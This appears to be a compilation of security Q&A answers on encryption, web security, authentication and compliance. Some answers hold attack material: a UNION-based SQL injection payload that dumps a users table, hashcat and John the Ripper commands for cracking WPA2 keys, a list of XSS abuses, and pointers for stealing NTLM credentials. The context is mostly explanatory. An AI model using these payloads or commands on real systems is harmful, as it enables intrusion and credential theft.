Ordinary drives do not encrypt their content in any way. Loosing the drive means revealing all the data on it. You must encrypt the data on the drive if you are to have any hopes of it remaining secure. Some drives have encryption built in while you can use software like Truecrypt to encrypt others.

Assuming that the encryption is sound (AES with a proper mode of operation and all that...), it comes down to the password you use to derive the key from. In that situation, the encryption is only as strong as your password. Choosing a long, random password makes it very unlikely that an attacker will be able to guess it.

This is of course assuming that the attacker is computationally bounded which is what you will face in reality. Against attackers with unlimited computing power, you will need a very special class of algorithms known to be information theoretic secure. Some examples of such algorithms are the One Time Pad and Shamir's Secret Sharing.


Below are the things an attacker can do if there is XSS vulnerability.

  Ad-Jacking - If you manage to get stored XSS on a website, just
  inject your ads in it to make money ;)
  Click-Jacking - You can create a hidden overlay on a page to hijack clicks of the victim to perform  malicious actions.
  Session Hijacking - HTTP cookies can be accessed
  by JavaScript if the HTTP ONLY flag is not present in the cookies.
  Content Spoofing - JavaScript has full access to client side code of
  a web app and hence you can use it show/modify desired content.
  Credential Harvesting - The most fun part. You can use a fancy popup
  to harvest credentials. WiFi firmware has been updated, re-enter your
  credentials to authenticate.
  Forced Downloads - So the victim isn’t
  downloading your malicious flash player from absolutely-safe.com?
  Don’t worry, you will have more luck trying to force a download from
  the trusted website your victim is visiting.
  Crypto Mining - Yes, you
  can use the victim’s CPU to mine some bitcoin for you!
  Bypassing CSRF
  protection - You can make POST requests with JavaScript, you can
  collect and submit a CSRF token with JavaScript, what else do you
  need?
  Keylogging - You know what this is.
  Recording Audio - It
  requires authorization from the user but you access victim’s
  microphone. Thanks to HTML5 and JavaScript.
  Taking pictures - It
  requires authorization from the user but you access victim’s webcam.
  Thanks to HTML5 and JavaScript.
  Geo-location - It requires
  authorization from the user but you access victim’s Geo-location.
  Thanks to HTML5 and JavaScript. Works better with devices with GPS.
  Stealing HTML5 web storage data - HTML5 introduced a new feature, web
  storage. Now a website can store data in the browser for later use
  and of course, JavaScript can access that storage via
  window.localStorage() and window.webStorage() Browser & System
  Fingerprinting - JavaScript makes it a piece of cake to find your
  browser name, version, installed plugins and their versions, your
  operating system, architecture, system time, language and screen
  resolution.
  Network Scanning - Victim’s browser can be abused to scan
  ports and hosts with JavaScript.
  Crashing Browsers - Yes! You can
  crash browser with flooding them with….stuff.
  Stealing Information -
  Grab information from the webpage and send it to your server. Simple!
  Redirecting - You can use javascript to redirect users to a webpage
  of your choice.
  Tabnapping - Just a fancy version of redirection.
  For example, if no keyboard or mouse events have been received for
  more than a minute, it could mean that the user is afk and you can
  sneakily replace the current webpage with a fake one.
  Capturing
  Screenshots - Thanks to HTML5 again, now you can take screenshot of a
  webpage. Blind XSS detection tools have been doing this before it was
  cool.
  Perform Actions - You are controlling the browser,


Is it feasible to leverage DOS by triggering large numbers of application exceptions?

Exceptions are very fast. Even if they do full traceback and making nice HTML out of it.

If you hit an exception because you supplied illegal argument, there may be not even single sql query made which would make it faster than regular request.

My websites always log exceptions into database, but that database is not part of live system, so slowing it down doesn't affect the performance of the whole system but only monitoring part of it.


LUKS overwrite empty disk space question

This option isn't part of LUKS itself, it sounds like it's part of whatever installer you're using. It would happen just once when installing in order to delete any data on the disk to make sure none of the old data could be recovered.


Safe way to authenticate (multi-factor authentication?) while being monitored?

One-time passwords would seem to fit the bill.

Assuming you aren't being filmed, you could have a list printed out.


Why is the root in an Online CA model not a Single Point of Failure?

The way the question is worded, there is a root. Therefore, you should have dismissed self-signed because there is no root in self-signed. That's the "obviously wrong" option (using the 4-option model of obviously wrong, 2 almost right, and right/more right).

Online CAs include the idea of redundancies and a distributed chain.


How to sandbox Iceweasel (Firefox) on Debian?

You could use docker which uses Linux containers.

Here is how this could be done:

Download and install docker from here

Create a file named "Dockerfile" which contains commands to create an docker image. The following file creates an image based on Ubuntu where firefox and the OpenSSH server will be installed. A user "noone" is created (replace [your public key] with a your public key) which will be used later to start firefox.

FROM ubuntu:14.04
RUN apt-get update
RUN apt-get -y install openssh-server firefox
RUN mkdir /var/run/sshd
RUN useradd -m -U --shell=/bin/bash noone
RUN sed -ri 's/noone:!/noone:*/g' /etc/shadow
RUN sed -ri 's/UsePAM yes/UsePAM no/g' /etc/ssh/sshd_config
RUN mkdir /home/noone/.ssh
RUN chown noone:noone /home/noone/.ssh
RUN echo 'ssh-rsa [your public key] xxx' > /home/noone/.ssh/authorized_keys
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

Start the docker daemon with docker -d.

Go into the directory where your Dockerfile is located and run docker build -t sandboxfirefox. This will create the image sanboxfirefox.

Start a docker container from the image created above with docker run -d -p 127.0.0.1:5001:22 sandboxfirefox
(port 22 of the container is exported to port 5001 to the host)

Now you can start firefox via SSH using X forwarding with the user "noone" as follows:

ssh -o "UserKnownHostsFile /dev/null" -t -X -p 5001 noone@localhost firefox

Changes to the filesystem will take affect only to the container not to the image. If you stop the container all changes will be lost.


Custom EC2-style user authentication system - how secure is it?

First of all you should not use whirlpool,  instead you should use NIST Approved Hash function such as SHA-256 or another member of the SHA-2 family.  SHA-1,  MD4 and MD5 would be poor choices.

The password and the password hash must never be sent over the wire in plain text.

Your current protocol implementation is vulnerable to a Replay Attack.  Although an adversary sniffing the wire cannot modify the request unless he knows the password hash or the password,  he can still replay any request set.  There are number of countermeasures.  One is to send a timestamp with every HMAC'ed request.  You don't really need to know the client's exact time,  just enforce that a timestamp is never repeated or less than the request before it.


Is it bad practice to use your real name online?

This is actually an interesting new field in infosec - reputation management.

Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name.
These "interested parties" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider "unsavory", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while vacationing in Europe. No, really.)
Conversely, you need an online presence, otherwise you will be made to suffer for a lack of things for the snoops to spy on - employers, especially (from Forbes):

  Key takeaway for hiring employers: The Facebook page is the first
  interview; if you don’t like a person there, you probably won’t like
  working with them. The bad news for employers, though, who are hoping
  to take the Facebook shortcut: “So many more profiles are restricted
  in what the public can access,” says Kluemper.

You must carefully balance your public and private personas. Give as little information as possible in your public persona, and be mindful that unknown entities who may be antagonistic toward you will look to use whatever you put online against you. For instance - you announce you're going to visit relatives for the weekend! Robbers and vandals may take notice (from Ars Technica:)

  39-year-old Candace Landreth and 44-year-old Robert Landreth Jr.
  allegedly used Facebook to see which of their friends were out of
  town. If a post indicated a Facebook friend wasn't home, the two broke
  into that friend's house and liberated some of their belongings.

Social media companies such as Facebook and Google have proven to be hostile to the notion of privacy, and continually change their terms of service and "privacy settings" without consent to share more and more of your information with others. You cannot rely on them to protect your public reputation from your personal life. From NBC:

  The Internet search giant is changing its terms of service starting
  Nov. 11. Your reviews of restaurants, shops and products, as well as
  songs and other content bought on the Google Play store could show up
  in ads that are displayed to your friends, connections and the broader
  public when they search on Google.

  The company calls that feature "shared endorsements.''

It is best to offer information of a more personal nature pseudonymously, and keep the pseudonym(s) carefully firewalled from your real identity. Avoid major social media services when participating online pseudonymously if at all possible.


Security Considerations To Account for When Redirecting From Microservice to Another

The biggest possible security implication I can see with the details presented is that you might accidentally DoS your visitors if every individual service has its own session, and therefore session cookie. Once you hit the cookie limit (typically 4096 bytes), browsers will start ignoring cookies, possibly arbitrary ones, and that will cause sessions to start being dropped.

Another possible vulnerability is that if you have to examine multiple sessions in order to do work, it's possible that a malicious user might send a large number of different session ids, real or otherwise, and force your services to examine each one, which at best would cost CPU cycles (and thus money), and at worst cause a wider system DoS.

Both of these would be mitigated by only having a single session for the user.


How to store a user's password in a database in 2019?

Why do you want to create your own scheme for this?
Please use one of the industry standard solutions for this:

Bcrypt
Balloon Hashing (you will need to convert the implementation from Python)
Lyra2
PBKDF2

I would suggest Bcrypt as that's the most accessible on a PC.
but all of them have considerations you will probably miss if you try to implement your own (as would anyone).

This list is time sensitive, so please check for the current best practices. It is based in part on the list of key derivation functions from Wikipedia.


Is it PCI-compliant/kosher to send a credit card number to a 3rd party sever from a mobile client?

You need to ensure the point  to point connection between your app is compliant with pci dss (ie strong encryption  etc.)and additionally you will need an attestation of compliance from the third party. They should have this if they are pci dss compliant.


Security impact of MinSdkVersion on Android apps

I know, basically all security improvements since that MinSdkVersion are not enforced for this app, as it supports Android versions where it is not available yet.

This is incorrect. minSdkVersion simply controls how old of an Android device your app can be installed upon.

  For example if an app uses the MinSdkVersion 19 the mounted SD card is readable for the app.

This is incorrect.

  Is there a list or collection of security implications for specific Android SDK versions?

No, sorry.


Is it safe to rely on email address from 3rd party identity provider?

You're right that relying on a third party for your system's authentication can have certain drawbacks.

It's hard to grasp how you could consider letting a stranger (non authenticated user) link an existing account to another provider.  That would certainly represent a huge flaw in your design.

Normally, when using third party authentication, you allow a user to create an account on your site through the third party identifier and also log in with that same method.  You need to have that user already identified for any change they make to their account, especially when it comes to authentication details.

While it's not bad practice to link more than one provider to an account, it does lessen its security as that single account can become vulnerable to flaws of more than one system.


How to perform SQL injection with real_escape_string filter in place?

In your specific case, it's not vulnerable.

However, in a case with no quotes, it would be:

$comment_id = mysql_real_escape_string($_GET['id']);
$query = "SELECT id, title, message FROM comments WHERE id = " . $comment_id . " AND published = 1";
// ...
mysql_query($query);

Since there's no quote to escape from, an attacker can simply put 1 OR 1=1 -- - to mess up the logic and return all comments. Not very security impacting, so let's look at something more interesting:

1 UNION SELECT u.id, u.username, u.password FROM users u -- -

This then becomes:

SELECT id, title, message
FROM comments
WHERE id = 1
UNION
SELECT u.id, u.username, u.password
FROM users u -- -
AND published = 1

The -- is a comment flag, which causes the rest of the query to be ignored. The single - on its own can be any character; it's just used to pad the HTTP parameter to ensure there's a space in there before the rest of the SQL. In the end, this returns the username in the title field, and the password in the message field, thus leaking your users table.


Corporation Best Practices for Encrypting Locally Stored Email Data

Encrypting the OST wouldn't necessarily mitigate a breach. If user credentials are compromised, those could be used to decrypt an OST and whatever other files were encrypted, whether at rest or in-transit. There is no silver bullet.


Why doesn't CSP block JS from modifying an element's style?

You can use CSP to block specific sources of stylesheets, but not to disallow particular style attributes.  For example, you can disallow inline styles, or disallow remote styles, or both.  (If you set style-src: none, I guess it will be like HTML 3.)

If an attacker is executing JavaScript on your site, then you have much, much, bigger problems than their ability to modify the styles on your site.  They can hide entire elements (deleting them from the DOM), exfiltrate private data, and take actions as the logged-in user.

CSP is a defense-in-depth mechanism, and is not intended to be the primary trust boundary or control for any system.  When I am testing web applications, I report all attempts at script execution (even when blocked by CSP) as an XSS, though I do note those that are mitigated by CSP.  (Note the frequency with which CSP bypasses are found.)


How do I encrypt external drive with Password which is compatible with both Linux and Windows?

I don't think you understood what Windows did when it formatted the disk.  When you plugged in the external drive, Windows couldn't read the filesystem (because it's encrypted) it therefore assumed the drive had no filesystem and offered to format the drive.  You selected yes.  Windows then deleted everything on the drive and overwrote it with a clean NTFS filesystem, with no data.  This isn't insecure, because there's no data exposed to the Windows user.  None of the encrypted data was ever available to any of the Windows users or processes.

I haven't explored FreeOTFE, but I assume if you ignore the Windows format option and instead install and use FreeOTFE you won't have a problem.  Once the disk is decrypted, Windows will be able to read the filesystem and will be able to see data on the drive.


Have them go to an https url. So make sure they aren't just going to www.yoursite.com, but click the link https://www.yoursite.com:443

If that doesn't show, try disabling http or closing port 80 on your server in an effort to trouble shoot and confirm it actually https. Have them use wireshark to take a capture and look for tls handshake. If that doesn't work there is a likelihood that your customer has been Man in the Middle attacked with something called ssl stripping. That would be very bad news.

This could be the signs of a cyber attack, so I recommend investigating quickly.


Using a Web Server to steal NTLM credentials

Tool of choice: Metasploit (UNC-Path into Docx , Metasploit generic NTLM relay)
Kerberos: Is not a problem, since it have to be implemented on your(!) server otherwise the victim will send you NTLM / NTLMv2 (maybe you are able to downgrade to v1)
IE Trusted Zone: Normally the local subnet have an own security zone, which is normally pretty low
Outlook preview (see UNC-Path into Docx)

Nice attack setup btw ;-)


Keylogger transmitting photos when copy paste

From 10 Immutable Laws of Security...

  Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore

If a "keylogger" of any form is running on your computer, then this has probably already happened. The bad guy's program can pretty well do anything he's designed it to do.

If this has happened to you, it's time to call Game Over and nuke from orbit.


How to crack 10 digits with prefix password in John the Ripper?

Here's how to do it with john (the "jumbo" version), using head to just show the first ten lines of output:
$ john -1='02' -mask=091?1?d?d?d?d?d?d --stdout | head
Press 'q' or Ctrl-C to abort, almost any other key for status
0910111111
0912111111
0910011111
0912011111
0910211111
0912211111
0910311111
0912311111
0910911111

And for what it's worth, you can also pipe hashcat output to another tool, using hashcat's --stdout option, following @dandavis' suggestion:
$ hashcat -a 3 -1 02 091?1?d?d?d?d?d?d --stdout | head
0912199999
0912231234
0912567899
0912000000
0912900000
0912888899
0912300000
0912452345
0912777899
0912699999

In both cases above, we're defining a custom character set "1", containing the two characters '0' and '2', and then using it in the mask with ?1.
But you don't really want to do either of these. There's no need to pipe a wordlist to anything, because starting with hashcat 4.0.0, you can skip aircrack-ng entirely, and directly crack a WPA2 PSK with hashcat (using -m 2500):
$ hashcat --quiet -a 3 -m 2500 hashcat.hccapx hash?l?l?l?s
a895f7d62ccc3e892fa9e9f9146232c1:aef50f22801c: (wrapped)
    987bdcf9f950:8381533406003807685881523:hashcat!

So your command would probably look something like:
$ hashcat -a 3 -m 2500 -1 '02' hashcat.hccapx 091?1?d?d?d?d?d?d

For fast hashes, this is the most efficient method, as the candidate passwords will be generated much faster on GPU. For a slow hash like WPA2, it doesn't make much of a difference in efficiency.
For more information, see this reference, as well as the closely related hcxtools project, which you may need in order to convert your captured PSK into the hccapx format required by hashcat.


How to avoid man in the middle attacks when sending sensible info via email?

A mail will pass through several mail servers on its way to the user. Even if the transport between these servers is encrypted (which you as the sender cannot control and thus not guarantee) the mails are available in plain on each of the servers. Moreover the mail is available in plain on the final server where the user then will retrieve it from. Thus, plenty of ways for somebody to intercept it.

If despite this you still want to use mail you need to make sure that the contents of the mail is only useful for the intended recipient. Alternatively you could simply accept the risk that somebody might read the mail and misuse the coupons - which might be an acceptable option if the value of the coupons is low anyway.

One way to protect the coupons would be to encrypt the mail with established methods like PGP or S/MIME. Only you don't want encryption and it would be hard to to anyway since these methods are only established as protocols but are not widely used and supported in practice - so it would not work anyway with most recipients.

Another way would be to encrypt only the coupons in the mail and provide the necessary password to the user during the buying process or let the user pick a password. But, again this is encryption you don't want and the process of sharing the password with the user will probably be too complex to some users and discourage them.

You might also send only a link to the coupons in the mail and the user has to login with the same information he used to buy the coupons in order to retrieve the coupons from your website. This might be a username and password if you have user accounts anyway or it might be parts of the credit card used to buy the coupons etc.  Of course in this case it might be simpler to not send the mail in the first place but just let the user download the coupons at the moment they bought them.

Or, if you insist on using mail (which is unprotected) you might just accept the risk that someone else might get access to the coupons and add a verification later when the coupons get used. This might be done by personalizing the coupons and require some kind of validation when the coupons gets used. Depending on how they get used this might be some kind of identification of who is using the coupons or making sure that the person using the coupons has access to the same credit card which was used to buy the coupons.


Forwarding ports is NOT inherently dangerous in itself and YES the safety is dependant on the service at the target port. But safety also depends on how good is your router's firewall and how well it is protected, both internally and externally.

For remote access, both SSH and VPN works as good as each other. Neither is more secure than the other when similar levels of encryption are used. But since SSH works at application level, supports only TCP and provides remote access to a single computer only I would prefer VPN tunnelling which in fact works at the transport layer, supports both UDP and TCP and allows secure access to multiple resources.

VPN tunnel is NOT the only safe way to achieve remote access, but definitely the preferred way due to the above reasons. Not to mention SSH is really difficult to implement properly in case of multiple resources, can cause DNS leaks and has to be configured separately for each application.


As for rainbow tables regarding the 16 lenght number default password on FritzBox , YES, if somebody had them already made, you could calculate for your FritzBox if it has a default password or no (all possibilities, 16 numbers).
But as regarding to MAKE a rainbow-table for 16lenght numbers for FritzBox, it would take 63 years (same time as dictionary attack or even a bit slower) and some PB , thousnds and thausends of TB of space. But yes, if anyone would make a rainbowtable with some super-computer and store it on his super-drive, it would work for all future probes (ofcourse only with same ESSID (wlan NAME) , for example only for "Fritz!Box FON Wlan 7390". For EVERY ESSID you would have to make a new rainbow table.
In practice, I higlhly doubt that anyone has a rainbow table for any of Fritz!Box which include all default WPA's (16 lenght numeric key).

If I were you, I would try to calculate the algorithm, with which they (the factory) calculate the default WPA key. You can find at least a dozen of FORUMs, WIKIs etc (most in German) ,where they are trying to calulate the secret, from which the factory calculates the default WPA keys for their boxes. As I understood , the calculate them from the MAC (every box has more than 1 MAC, one for WLAN, one for ETH, itd. , from serial number, and from default ESSID.
 Good luck decrypting the alghoritm.


Are password-guessing attacks a real threat?

Depends what you're defending against, really.

Trying to log into a web application, attempts should indeed be restricted in some way. IP rate restriction is a good start, username level rate restriction is better, combining the two is even better. However, imagine that I have a long list of usernames and passwords from a previous unrelated breach. If I have access to a botnet (go on the darknet and browse for a few minutes - you can buy access for a while) and a little bit of programming knowledge, I can easily set up a situation where each IP address tries a single username with a single password, then waits for a while before trying a different username and password. Given enough machines, I'd be fairly confident of getting a hit with a handful of common passwords and a reasonably large list of usernames.
If the passwords are all strong, though, it'll take me a lot longer, meaning there is a much greater chance of someone noticing the attack.

Trying to break accounts following a breach. In this case, any systems you have in place for restricting the speed of attack are bypassed. I have a copy of the password hashes, so I can throw them into my password cracking rig and wait for a while. The common passwords will again be the first to break, with the really strong ones taking ages (these are big ages. Think geological ages, rather than waiting for a pizza delivery ages).
In this case, I don't care about your restrictions. I might have got the breach data without you noticing, in which case, I can just log in with the passwords I find and clear out whatever is of value in those accounts. Or you might have spotted that I got your data, in which case I'm racing against the legitimate owners to log in first. Either way, it only takes me a single try to get in if I am going to.

In case 1, it adds complexity to the attack, but also adds complexity to the authentication method. Sadly, complexity in code tends to increase the number of issues, so you would want to be sure it didn't have unwanted side effects, like timing attacks, or DoS potential (imagine that I have a shared IP, such as a mobile provider might use, and I cause it to be blocked for a peak use period).
In case 2, it is irrelevent. Doesn't matter to me. Never see it.
As with everything in security, it's a matter of balancing risks. If you have high value accounts, it is worth putting more hoops to jump through, but you should be able to afford a very strict testing process. If you have low value accounts, it might be safer to live with that risk, in order to prevent other attack vectors from working.


How to restore devices like IP phones to productive use after unexplained activity?

Since these are embedded devices, it's hard to say exactly as far as details. Perhaps you can have the manufacturer provide you with a method of securely wiping the phones and replacing what is on there with their latest firmware? They could also potentially provide a way to integrity check the firmware images, BIOS, etc. After performing all this, doing the same network traffic monitoring you have done will confirm whether they are still making suspicious outbound connections. If you went through those steps and the network traffic appeared clean over a reasonable period of time, then you can feel safe reintroducing them back into production.


How to securely read a physical memory address in Linux?

Don't worry about it. If an attacker can replace system libraries that are being used by your application, then you have been totally compromised and can't trust anything in your app. It's not a situation you can really protect against.


Will a crossdomain.xml file reduce a potential security risk?

I think that you are asking if you need to protect yourself in case the impossible (or at least highly unlikely) occurs.

I believe that a crossdomain.xml is only involved when a client is directed to load content from the non-originating server. So adding a strict crossdomain.xml file will protect you against that.

But the crossdomain.xml won't protect you from a user directly accessing the SWF file from your server as there's no second-domain involved in that scenario.

If you haven't disabled downloading of SWF files in your web server, I would do that first. Details will depend on the web server your using but it shouldn't be hard to do.

Once you've already disabled both uploading and downloading of SWF files, I guess the crossdomain.xml will help protect against certain attacks but far from all. So I see no harm but I don't see a great gain either.

Hope this helps.


Are there any PCI compliant firewalls that can be installed on Linux through normal means and not through an ISO?

Firewalls aren't PCI compliant but rather the manner in which network traffic is managed can support PCI compliance/security validation. Network rules must be stateful and only permit traffic with a technical and business justification. Configuration of Azure's network containers with relevant, required rules using change control and performing periodic ruleset reviews will support your compliance efforts. You don't require additional network infrastructure beyond that provided by the cloud service provider unless you have other network requirements.


Why do Wifi connections to evil twins happen?

There ought to be something more substantial than just an access point name to authenticate a Wifi router ...

The name of the AP is not used to authenticate the AP against the client at all, it is only used to identify possible known networks.

Why isn't there a shared secret?

Because there is one. The password as used in most common setups is not only used to authenticate the client against the AP but also the AP against the client: the connection will only succeed if both have the same shared secret. Within enterprise setups there are also certificates for authentication involved.


I know you can do that in 2003 and prior also. But it will be rather hard to disable that capability, because Administrator is just that..

it has been that way since forever. But not just exchange, postfix does the same thing. Before this, email was in plain text and security came as an after thought.
A conversation usually starts up unencrypted and a key exchange happens of some sort as a result of it, and the server is there to handle just that, store conversations.
Sysadmins usually secure channels to and from server, but not the messages themselves. Why should they? If I can encrypt your messages, I also can decrypt them, and if I secure my server for unauthorized access, encrypting the message store begs for more work when a problem occurs.
On servers, usually encryption is done on the whole medium rather than on a file by file manner because it breaks our tools. Exchange is no different.
It makes for easier compliance with LEO and the VPs of the company when you get canned.
Recovery in the odd case the server goes wack (cough windows updates.. cough) is also easier.
It makes spam filtering work.. and also advertisments.
It makes it possible to monitor mailboxes or assign my account to take over your mail as you when you are gone.

All in all if you want privacy, agree with end points on encryption ( such as gpg ) and encrypt the content before sending it out, because Exchange is an enterprise tool and protecting the user's confidentiality wasn't on their mindset when they built it. You're at the discretion of your sysadmins.


How to Survive Iran's Internet Censorship in January 2018?

ISPs can detect VPNs through a variety of different means, including DPI, detecting total bandwidth through a single connection, timing comparisons, etc.  It's also possible that they're using known endpoints for VPN providers to produce a blacklist.  (There are many sources for this on the internet.)

Tor provides a general Socks5 proxy, which can proxy any TCP connection -- HTTP and HTTPS traffic are the most common, but you can also perform OS updates, online chatting, etc.  Voice and video may be a problem as Tor is often fairly limited in bandwidth (far more users than exit nodes).  Thanks to Tor's pluggable transports, it's much harder for filtering to detect via DPI and other techniques, and there are nodes specifically designed to make it harder for oppressive regimes to filter the traffic.


How would you analyze an image to find out if there are scripts embedded in it?

I am assuming that you're going to be accepting user-uploaded image files and serving them to other users through a web application. In that case there are two different attack vectors here.

(1) files that can be interpreted as both image and another type.

This includes:

(1a) files with embedded HTML tags, which can then be loaded as HTML by a browser that does content-sniffing, and scripting content inside executed in your domain's security context, causing traditional JavaScript XSS.

(1b) files that can be interpreted as plug-in data, most notably Java (GIFAR attack). Just hosting these can get you compromised for XSS because the Same Origin Policy in Java and Flash is based on the location hosting the file, not the including page.

Such files can commonly be valid images of the expected type as well as working as the vulnerable target type.

You can make these attacks difficult by processing submitted images, loading them in and re-saving them. You may be doing this anyway in order to do cropping, resizing or quality-level changes.

It is in principle possible for someone to submit an image that, when compressed by whatever algorithm you're using, pops out an image with <script> or other bad content in, but this is probably quite impractical in reality.

Either way, you should mitigate this attack by serving any user-submitted files from a separate domain that does not have the ability to script or share cookies with the main website domain. (It can be a subdomain as long as there is nothing served on any shared ancestor domain.)

(2) malformed images that exploit bugs in browser image decoders to cause arbitrary code execution. These aren't common today but there have been image decoder bugs in the past and it is possible some more may arise.

This can also be defeated by loading and re-saving the image; even just not getting an error on load is generally a good sign. However, it is conceivable that there could be a bug in your own image decoder, which would then make your server-side vulnerable to exactly the same problems.

So make sure your server-side image processing components up-to-date, and, where you can, limit the number of accepted input formats in order to reduce the attack surface. You may also wish to consider running the image handling in a lower-privilege process (privsep) if this is a likely threat for your app.

Loading an image for processing also carries the risk of server-side denial of service attack through very large images (in size and/or compression bombs). Sanity-check the file size and resolution from image file header before attempting to load.

Depending on what your app is, there may be limited benefit from detecting malformed-image exploits because (apart from their rarity) it's usually easy for an attacker to host them elsewhere and post the image or a link to it in other user-submitted content.


Jan Doggen is right: just writing an email which explains the steps to reproduce the bug, the expected result, and the actual result is enough.

If you want a slightly more structured format, I suggest you to take a look at the Facebook bug report form and to read these Google guides.

If you want to be more accurate when describing the impact, you could read the CVSS 3.0 scoring criteria (https://www.first.org/cvss/specification-document) and then use this calculator.


What things should a penetration tester know about databases?

This question is very broad. In general you need to know how all different technologies are configured and what their weaknesses are (refer to google).
"Databases" is a broad term. There are many types of databases using different languages:

LDAP (active directory, OpenLDAP,...)
SQL (MySQL, PostgreSQL, SQL server, Oracle,...)
noSQL (MongoDB, Cassandra,...)

When pentesting you can either focus on the service provided by the database itself:

authentication

concurrent connections
or you can try to get to the database via a program that connects to it (LDAP/SQL injection for instance).

The means can be different as well: you might want to dump the contents from the database or you might try to make the database issue a command (if it runs as SYSTEM/root you can get access to the underlying server to stage more attacks).
There are tons of different books on databases. In general I always look at everything O'Reilly has to offer. They have a quite rigorous reviewing and admission process. I suggest starting with SQL and LDAP as you will see these more in the wild than any other protocols.


For home locks, I think that the proper way to analyze it is to think about money, and more specifically insurance. You put the kind of lock that will please your insurance company; with a custom lock, chances are that your insurance company will ask for more money every month -- or refuse to give you money if you are burgled (even if the burglar came in through, say, a window).

About PIN: PIN codes usually have relatively low entropy (only 10000 combinations with 4 decimal digits) and rely on auto-locking (e.g. the system which expects the PIN locks itself out after three wrong PINs). For a home door, this is not very good: you do not want to be locked out of your home because someone came by and idly played with the available keyboard. So you would need a relatively large PIN code, e.g. 8 digits. Also, PIN codes are susceptible to side-channel leakage: if you type the same code every day, the involved keys are likely to experience premature wear, revealing which digits are used in the PIN code.

You probably want to be able to enter your home even in case of a power shortage -- and you do not want to have your door opening automatically in that situation (see the Die Hard movie for an illustration). For that reason alone, I would recommend against your idea.


The system outlined in the question is actually weaker than simply requiring a single password of length A+B+C, because it permits a class of attacks that can't be used against single passwords:

Say your three-password combination is E F G.  An attacker can send the passwords A B C D E F G, making five attacks (A B C, B C D, C D E, D E F, and E F G) for the price of two.  The general term for this is a de Bruijn sequence, and it lets you attack any state-based system (such as a digital lock) using far fewer tries than there are possible combinations.


applications of linear algebra to "security"?

There is no opposition between "linear algebra" and "discrete math". For instance, a Linear Feedback Shift Register is "linear" in the sense of linear algebra, but also totally discrete. What is seldom encountered in computers is not the "linear" part, but the use of real or complex numbers as base field -- because computers are not good at storing numbers with an infinite number of digits (an infinite storage space is a bit expensive). Computers use approximations (all the "floating point types" like double), or use finite fields. In the case of a LFSR, the finite field is GF(2), the field with two elements (0 and 1).


Using Windows LSA Hashes obtained from crackmapexec

DCC are their own format. In JtR, they are:

mscash-opencl
mscash2-opencl

... and in hashcat, they are:

1100 | Domain Cached Credentials (DCC), MS Cache        | Operating Systems
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2   | Operating Systems

As you noted, while these can be cracked, they cannot be used in pass-the-hash. They are also not guaranteed to be current - so even if you crack them, they may represent a now-expired password that cannot be used for "live", online authentication.


Does an effective Content Security Policy mitigate a universal cross-site scripting vulnerability?

Yes, this is correct.
UXSS does not need a vulnerable web page in order to trigger, and can penetrate web sessions belonging to secure, well written web pages, thus creating a vulnerability where there isn’t one.
If an UXSS defect in the browser allows for injection of Javascript into arbitrary webpages (like this UXSS for Chrome Android) then the the XSS execution would still be respecting the CSP: script-src 'self'.


All the security measures you describe are from a perfect world. In real world, people make software, people make mistake, so software have bugs and some of them open breaches in this security scheme and can be exploited. This can be for instance exploits affecting the JRE, or the browser executing the applet.

You may google for tems like "Java applet exploit" to have some example of such threats which have been detected and solved in software updates.

To go a bit further, Java applet threat is often more sensible than, let's say, Javascript because Java is both a far more complex technology (the more complex, the more error and exploits) and a far more complete (offers more power over the host once exploited).


Hashing password for secure storage (generating salt)

The weakness in your system is intrinsic: there is no real salt. From your comments, I suppose that you cannot (for some contextual reason) store a randomly generated salt. So what you do amounts to, basically, use the pair "user+site" as salt.

Your various hashes are complex and some parts are useless: there is no need to input the password in so many places. You should strive for simplicity; complexity is your enemy. Still, you have to contend with idiosyncrasies of PBKDF2 (if you want to use that function), so the following should be as safe as you can be:

s = SHA-256(username + '|' + sitename)
p = SHA-256(password)
hash = PBKDF2(p, s, rounds)

Note that I use a '|' character as separator, and I assume that such a character does not appear in the site name (this is to avoid spurious collisions). The extra SHA-256 on the password itself is only to avoid an issue of PBKDF2, which is that it becomes twice slower when the password length exceeds the length of the underlying hash function (64 bytes for SHA-1 and SHA-256). If you are sure that your passwords will never exceed 64 bytes, then you can remove the second hash and use 'password' directly in PBKDF2.

Main remaining issue: if the user changes his password, the new password and the old password will use the same pseudo-salt. If an attacker can get both hash values, then he can try to break both for the cost of breaking only one. A similar problem occurs if you destroy a user account and then reuse the same user name. You cannot avoid this problem as long as you don't store a salt-like value (randomly generated) along with the hash values.

Improvements: you may want to change some parameters. For instance, if your server is a PC (64-bit, or at least a PC with SSE2 and using OpenSSL for the hash function implementation), you may want to make sure that PBKDF2 relies on SHA-512 instead of SHA-256 or SHA-1: SHA-512 will be efficient on your PC but make life harder for an attacker with a GPU (usual GPU are less comfortable with 64-bit integer types). You may also want to consider switching from PBKDF2 to Bcrypt, for the reasons exposed there.


What is the maximum depth for child keys in the TPM device?

Recently, I've read one interesting answer:

  The Storage Root Key (SRK) is used to wrap TPM protected keys which
  can be stored outside the TPM. That data stored outside the TPM can be
  decrypted by passing it back through the TPM again for a decryption
  operation.

  Keys wrapped by the SRK can themselves be used to wrap other keys,
  too. This method of wrapping can be used to create a key hierarchy of
  parent key and child keys. To load a child, first load its parent.
  Once the child is loaded, the parent key can be unloaded from the TPM
  to free up TPM chip resources.

Taking mentioned into account I can conclude, that depth of child keys is unlimited.


Where am I most vulnerable when running Mac OS 10.6.8 Snow Leopard?

Mac OS 10.6.8 has LOT of known CVEs, to be not exhaustive, and to go beyond browsers vulnerabilities, you OS is for example vulnerable to:

Directory Service which allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via a crafted message (CVE-2013-0984),

Its also vulnerable to multiple stack-based buffer overflows in the phar_set_inode function in phar_internal.h in PHP before 5.4.40, 5.5.x before 5.5.24, and 5.6.x before 5.6.8 allow remote attackers to execute arbitrary code via a crafted length value in a (1) tar, (2) phar, or (3) ZIP archive (CVE-2015-3329)

As well as being vulnerable to Integer overflow in the Security Framework that allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via crafted input.

You can see a list of known vulnerabilities here


Must a system be insecure against physical access? If so, why?

